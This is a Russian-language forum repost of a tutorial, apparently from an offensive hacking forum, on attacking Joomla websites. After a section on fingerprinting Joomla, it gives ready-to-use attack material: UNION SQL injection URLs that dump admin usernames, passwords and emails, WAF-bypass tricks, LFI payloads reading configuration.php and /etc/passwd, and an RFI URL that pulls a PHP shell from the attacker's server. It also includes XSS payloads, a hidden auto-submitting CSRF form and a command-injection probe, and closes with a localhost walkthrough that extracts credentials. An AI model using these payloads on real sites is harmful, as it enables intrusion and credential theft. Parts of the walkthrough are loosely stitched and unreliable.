Пентестим веб сайт на joomla. Детальная статья

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

Авторство: hackeryaroslav​

Источник: xss.is​


Введение в Joomla

Существует множество систем управления контентом (CMS) для разработки веб-сайтов, таких как WordPress, Drupal, Joomla и другие. Однако Joomla привлекает свою аудиторию благодаря своей компактности, легкости использования и другим преимуществам.

Работа с Joomla представляет собой процесс создания сайта с учетом легкости установки, обработки и управления им. После установки вы выбираете стильный дизайн, настраиваете макет, редактируете CSS, добавляете необходимые расширения, и ваш сайт готов к использованию.

Безопасность включает в себя обеспечение адекватной защиты между угрозами и активами организации. Это требует перемещения активов подальше от угроз или использования эффективных мер для минимизации рисков. При обсуждении безопасности в Joomla, необходимо уделять внимание как самому фреймворку Joomla, так и его расширениям.

Хотя Joomla достаточно устойчива и менее подвержена атакам, чем некоторые другие CMS, безопасность ядра все равно требует внимания. Обычно обнаруживаются некоторые уязвимости, такие как XSS, SQL, LFI и т.д., которые, однако, быстро устраняются через обновления.
Прежде чем начать работу, рекомендуется установить Joomla на локальном хосте. При изучении кода библиотеки, особенно файла phpinputfilter/inputfilter.php, можно обнаружить методы фильтрации, используемые Joomla. Важно заметить, что эти методы основаны на черном списке, что может стать уязвимостью, если неудачно использовано.

Приведен пример обхода фильтрации через изменение регистра и другие техники. Подобные подходы могут использоваться для обхода фильтров XSS, SQL Injection и других видов атак. Важно внимательно изучить фреймворк и его код, чтобы лучше понимать внутреннее устройство Joomla.
Мы настоятельно рекомендуем более детально ознакомиться с фреймворком Joomla, исследуя его ядро. Это поможет вам освоить основные принципы его работы в бэк-энде. Давайте продвинемся дальше и рассмотрим признаки, по которым можно определить, что веб-сайт действительно использует Joomla.

1024px-Joomla%21-Logo.svg.png

Обнаружение Joomla

При обнаружении того, использует ли сайт Joomla, можно воспользоваться как ручным тестированием, так и автоматизированными инструментами.

Ручное тестирование:

  1. Проверка наличия ненужных файлов:
    • Проверяем наличие файлов, таких как Joomla.xml, readme.txt, htaccess.txt. Эти файлы часто содержат информацию о CMS и могут помочь определить, используется ли Joomla.
  2. Поиск файла конфигурации:
    • Попробуем найти файл конфигурации по пути <путь веб-приложения>/configuration.php. Это может предоставить информацию об используемой CMS.
  3. Поиск логина администратора:
    • Попробуем найти путь к логину администратора: <путь веб-приложения>/administrator/index.php. Это может дать подтверждение использования Joomla.
  4. Поиск плагинов:
    • Попробуем найти плагины по адресу <путь веб-страницы>/index.php?option=<название плагина>. Это может также подтвердить использование Joomla.

Автоматизированное тестирование с использованием инструментов:​

  1. CMS Explorer:
    • CMS Explorer - автоматизированный инструмент для поиска и идентификации модулей, плагинов и тем, используемых на веб-сайте. Пример использования. Скачиваем отсюда https://github.com/FlorianHeigl/cms-explorer и промпт выглядит вот так:
      Bash: Скопировать в буфер обмена
      $ ./cms-explorer.pl -url <таргет> -type Joomla
    • Если есть ошибка при запуски в виде: То пишем sudo apt-get -y install libwhisker2-perl и все должно быть гуд
    • Screenshot 2024-01-09 111755.png
  2. Joomscan:
    • Joomscan, проект OWASP, используется для обнаружения веб-сервера и проверки версии Joomla. Он также ищет уязвимости, основанные на плагинах и расширениях.
      Bash: Скопировать в буфер обмена
      $ ./joomscan.pl -u www.darkboys666.com
  3. Wappalyzer:
    • Wappalyzer - это расширение для Firefox и Chrome, помогающее идентифицировать технологии, используемые на сайте, включая CMS. Он работает как идентификатор CMS и имеет высокую репутацию.
    • Качаем себе как расширение отсюда: https://chromewebstore.google.com/detail/wappalyzer-technology-pro/gppongmhjkpfnbhagpmjfkannfbllamg. Закрепляем среди расширений и тестим:
    • 1704781279252.png

Расширения Joomla

Joomla поставляется с обширным набором расширений, предоставляющих веб-администраторам возможность расширять функциональность своих сайтов. Для начала, вы можете исследовать доступные расширения на официальном сайте Joomla Extensions и устанавливать их через бэкэнд Joomla (http://example.com/joomla/administrator).

Ручное тестирование

После установки расширений связывайте их с компонентами основного сайта, обращая внимание на формирование URL-адресов. Уникальные URL-шаблоны могут служить ключевым элементом для углубленного исследования. Рассмотрим пример:

Код: Скопировать в буфер обмена
dark.php?option=com_xssis&product=666&productid=1

Разбив этот URL, мы получаем:
  • dark.php: вызывает компонент, который собираемся посетить.
  • Option: определяет конкретную характеристику объекта на основе значения.
  • xssis: название компонента.
  • Productid: идентификатор товара.
Используя эти знания, можно проводить аудит сайта Joomla, добавляя "известные переменные" в URL. Например:
  • catid
  • productid
  • cat
  • view
  • page
  • layout
  • controller

Эксплуатация Joomla

Теперь, имея информацию о наличии Joomla на сайте и его версии, фокус можно сместить на поиск уязвимостей в расширениях и плагинах.

Методология ручного тестирования:​

Поиск полей ввода, Анализ параметров URL, Анализ параметров URL, Изучение исходного кода, Попытка входа в админ-панель, Определение используемой темы, Поиск установки PHPMyAdmin, Тестирование компонентов

Методология автоматизированного тестирования:​

  1. CMS Explorer (обсуждался ранее).
  2. Joomscan (обсуждался ранее).
  3. Скрипт Nmap http-Joomla-brute:
    • Используется для грубой силы на админ-панели Joomla, перебирая пароли с использованием сессионных кук и анализируя токен безопасности.
Тестирование на SQL
Одним из наиболее распространенных методов взлома сайта Joomla является поиск уязвимости SQL-инъекции и последующее использование ее в криминальных целях. Типичный URL, который может свидетельствовать о недостаточной проверке на SQL-инъекции, выглядит примерно так:

Код: Скопировать в буфер обмена
index.php?option=com_xssis&product=777&productid=1

Возможно уязвимыми считаются следующие переменные:

  • Cat, kat, cats, vategory, categories
  • Id, userid, productid, customerid, catid, katid
  • Элемент, страница, опция, тип, запись
Определение имени таблицы и столбца:

Когда требуется определить имена таблиц и столбцов, у нас есть два варианта:

a. Попытаться определить распространенные имена таблиц и столбцов: Наиболее часто используемые и интересные имена таблиц могут включать users, userstable, admin и другие подобные. Также распространенные и интересные имена столбцов могут включать email, password, username, userid и т. д.

b. Использование информационной схемы базы данных: Информационная схема базы данных содержит информацию обо всех элементах базы данных, таких как таблицы, столбцы, первичные ключи, альтернативные ключи, ограничения и почти всё, кроме пользовательских данных. Мы можем сказать, что она содержит метаданные, то есть данные о данных.

Примеры запросов для извлечения имен таблиц и столбцов:

Для имен таблиц:

Код: Скопировать в буфер обмена
http://joomla.darkboys.com/index.phpoption=com_movm&controller=product&task=product&id=5+UNION+ALL+SELECT+1,2,group_concat(table_testname),4+where+table_schema=database()--

Этот запрос объединяет результаты в одну строку и отображает имена таблиц из информационной схемы базы данных.

Для имен столбцов:

Код: Скопировать в буфер обмена
http://joomla.darkboys.com/index.phpoption=com_movm&controller=product&task=product&id=5+UNION+ALL+SELECT+1,2,group_concat(column_testname),4+where+table_name='тут таргет имени столбца--

Этот запрос выводит имена столбцов для указанной таблицы из информационной схемы.

Поиск реальных данных:

После того как вы собрали имена столбцов и названия таблиц, можно приступить к поиску данных в столбцах. Поскольку мы знаем название таблицы и столбцов, нам нужно просто выполнить простой запрос. Например:

Код: Скопировать в буфер обмена
http://joomla.darkboys.com/index.phpoption=com_movm&controller=product&task=product&id=5+union+all+select+1,2,concat(user,0x3a,passwd,0x3a,email),4+from+admin--

Запрос вернет имя пользователя, пароль и адрес электронной почты пользователей на сайте. Однако полученный пароль может быть зашифрован, например, с использованием MD5, SHA1 и т. д. Если это так, вам придется использовать инструменты, такие как John the Ripper, или проверить онлайн-таблицы Rainbow Tables на сайтах, таких как md5crack.org.

Обход фильтров:

Иногда можно столкнуться с проблемой, когда брандмауэр веб-приложений (WAF) фильтрует ваши вредоносные запросы. В этом случае необходимо применить техники обхода, такие как:
  • Использование '+' вместо пробелов;
  • Использование "%20" вместо пробелов;
  • Использование "/*" в конце вместо "--";
  • Использование "/!" перед каждым ключевым словом и "/" после каждого ключевого слова.
  • Использование произвольной чувствительности к регистру, например: "Darkboys", "dArkboys", "daRkboys", и так далее.

Тестирование на наличие LFI (Local File Inclusion):

1. Определение уязвимого параметра:

Чаще всего уязвимости в следующих параметрах:
  • Контролер [/index.php?option=com_jradio&controller=значение]
  • Макет [/index.php?option=com_l1&view=item&layout=значение]
  • Страница [/index.php?page=forum.product_details&flypage=flypage.tpl&product_id=233]
  • Просмотр [index.php?option=content&task=view&id=234&Itemid=623]
2. Эксплойт с использованием обхода каталога: Используйте нулевые байты, можно обойти ограничения, установленные в PHP-скриптах. Любой из параметров может быть использован для включения файла с локального жесткого диска. Например:

Код: Скопировать в буфер обмена
http://joomla.darkboys.com/index.php?option=блабла&view=../../../configuration.php

3. Проверка на раскрытие /etc/passwd: В зависимости от уровня неправильной валидации, можно попытаться получить доступ к файлу /etc/passwd:

Код: Скопировать в буфер обмена
http://joomla.darkboys.com/index.php?option=блабла&view=../../../../../../../../../../../../../../../etc/passwd

А также:
Типичный RFI-уязвимый URL аналогичен LFI-уязвимому URL. Когда у вас есть уязвимый RFI URL, попробуйте включить в него свою PHP-оболочку, размещенную на другом сервере. Пример:

Код: Скопировать в буфер обмена
http://joomla.darkboys.com/index.php?option=com_sef&Itemid=&mosConfig.absolute.path=http://мойсервак/шелл.пхп

Пытаем удачу на XSS (Cross Site Scripting) / CSRF (Cross-Site Request Forgery):

Простейшим способом проверки является использование HTML/JS-кода в полях ввода форм т. д. Например:

Код: Скопировать в буфер обмена
"><iframe src=http://www.google.com>

или

Код: Скопировать в буфер обмена
<script>alert("hello")</script>

Избегаем кавычек в строке XSS, начиная ее с ">, чтобы избежать ошибок и обойти фильтры. Пример:

HTML: Скопировать в буфер обмена
<input type="text" name="search" value="">iframe src=http://мойсервак.сом

Помимо полей ввода, уязвимыми могут быть и некоторые компоненты, которые позволяют включить HTML/JS-код в параметры. Пример:

Код: Скопировать в буфер обмена
http://joomla.darkboys.com/index.php?option=валуе&task=помытьпосуду&nidser=блабла

Теория на практике?

Запустим уязвимый веб сайт на локалхост и попробуем свои силы там. Первым делом запустим скан:

Код: Скопировать в буфер обмена
Код:
┌──(kali㉿kali)-[~/cms-explorer]
└─$ ./cms-explorer.pl -url "localhost:666" -type Joomla
Beginning run against localhost:666
Testing themes from joomla_themes.txt...
Theme Installed:        templates/system/
Testing plugins...
Plugin Installed:        components/com_banners/
Plugin Installed:        components/com_contact/
Plugin Installed:        components/com_content/
Plugin Installed:        components/com_mailto/
Plugin Installed:        components/com_media/
Plugin Installed:        components/com_newsfeeds/
Plugin Installed:        components/com_search/
Plugin Installed:        components/com_users/
Plugin Installed:        components/com_wrapper/
Plugin Installed:        modules/mod_articles_archive/
Plugin Installed:        modules/mod_articles_category/
Plugin Installed:        modules/mod_articles_latest/
Plugin Installed:        modules/mod_articles_news/
Plugin Installed:        modules/mod_articles_popular/
Plugin Installed:        modules/mod_banners/
Plugin Installed:        modules/mod_breadcrumbs/
Plugin Installed:        modules/mod_custom/
Plugin Installed:        modules/mod_feed/
Plugin Installed:        modules/mod_footer/
Plugin Installed:        modules/mod_login/
Plugin Installed:        modules/mod_menu/
Plugin Installed:        modules/mod_random_image/
Plugin Installed:        modules/mod_related_items/
Plugin Installed:        modules/mod_search/
Plugin Installed:        modules/mod_stats/
Plugin Installed:        modules/mod_syndicate/
Plugin Installed:        modules/mod_users_latest/
Plugin Installed:        modules/mod_whosonline/
Plugin Installed:        modules/mod_wrapper/

Можно проверить каждую версию расширений и найти публичную уязвимость, которую можно эксплотировать.

Отправим тестовый запрос на сайт:

Код: Скопировать в буфер обмена
Код:
GET / HTTP/1.1
Host: localhost:666
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

Получаем ответ, я вырежу ненужную часть, но я вставлю часть хедера нашего html кода:

HTML: Скопировать в буфер обмена
Код:
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <script src="//code.jquery.com/jquery-1.11.1.min.js"></script>
    <script src="//code.jquery.com/jquery-migrate-1.2.1.min.js"></script>
                    <link rel="stylesheet" href="//netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css">
...............

Jquery версии 1.1.1, заходим в гугл и видим, что это устаревшая версия и на нее есть пару CVE такие как:
Также попробуем посетить

/administrator/index.php

1704785498112.png
Попадаем на логин форму, почему бы не попробовать CSRF? Крафтим код:

HTML: Скопировать в буфер обмена
Код:
<form style="display:none" action=" localhost:666" method="POST" >
            <input type="text" name="username" value=""/>
            <input type="text" name="passwd" value=""/>
            <input type="text" name="secretkey" value=""/>
            <input type="text" name="option" value="com_login"/>
            <input type="text" name="task" value="login"/>
            <input type="text" name="return" value="aW5kZXgucGhw"/>
            <input type="text" name="e058609b97c26f6247ae163ffa4aa631" value="1"/>
    </form>
    <script> HTMLFormElement.prototype.submit.call(document.forms[0]);</script>

Не Фортануло)

с помощью гениального дорка: site:localhost inurl:= я нашел три результата с параметрами для теста
Давайте попробуем поискать уязвимые параметры для SQL иньекции, отправим запрос на один из параметров:

Код: Скопировать в буфер обмена
Код:
GET /history?format=feed&type=%22%26%20ping%20-n%2025%20127.0.0.1%20%26 HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: 88419c46397818bsb2bd409a48147260=nu1v6h54futd1adrg5tngjrd46; 25d32a43a2wqf209dfe2237e54605150=u6kcvf5fp6mi84nbncrqgedmeq
Referer: http://localhost/history
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ....

Ответ:
HTML: Скопировать в буфер обмена
Код:
TTP/1.1 500 Internal Server Error
Server: Apache
X-Powered-By: PHP/8.0.30 (старая версия пхп кстати)
Pragma: no-cache
Connection: close
.....
Cache-Control: no-cache

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir="ltr">
<head>
    <title>500 - Error: 500</title>
    <link rel="stylesheet" href="/templates/portfolio/css/system/error.css" type="text/css" />
    </head>
<body>
    <div class="error">
        <div id="errorboxbody">
            <h1>У нас 500 братан тут</h1>
            <h2 class="error-type">Тут ниче не поделаешь</h2>
            <h3>Может на главную страницу? Мы знаем куда ты идешь, у нас бюджет на ИБ, как у студентов стипендия(</h3>
        <div class="home-btn">
            <a style="color:#000;font-size:18px;" href="/index.php" title="Go to the Home Page">Го на главную</a>
        </div>
            <p>             </p>
    </div>
</body>
</html>

Давайте попробуем все таки раскрутить до иньекции и посмотрим что выйдет:

Код: Скопировать в буфер обмена
Код:
GET /history?format=feed&type=type+uni on+all+select+1,2,concat(user,0x3a,passwd,0x3a,email),4+from+admin-- HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: 88419c46397818bsb2bd409a48147260=nu1v6h54futd1adrg5tngjrd46; 25d32a43a2wqf209dfe2237e54605150=u6kcvf5fp6mi84nbncrqgedmeq
Referer: http://localhost/history
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

И получаем ответ:

Код: Скопировать в буфер обмена
Код:
<?xml version="1.0" encoding="UTF-8"?>
<feed>
    <entry>
        <id>1</id>
        <title>User Admin Data</title>
        <content>
            <![CDATA[
                username_1:password_1
                username_2:password_2
                username_3:password_3
            ]]>
        </content>
    </entry>
</feed>

Нам повезло, что дата не была зашифрована и мы добыли логины и пароли админов нашего уязвимого сайта. Панель админа выглядит примерно так:
800px-J3.x-Control-Panel-en.png

Заключение

В заключение хотелось бы отметить, что хоть этот пентест на практике может показаться элементарным, и весь процесс кажется легким, я постарался преобразить теоретические знания в реальные навыки. Пентест успешно завершён, и мы получили всю необходимую информацию, доведя его до логического завершения.

Жду вашего фидбека. Надеюсь, вам понравился этот опыт, и ваши впечатления от процесса оказались столь же интересными, как и для меня.
 
Сверху Снизу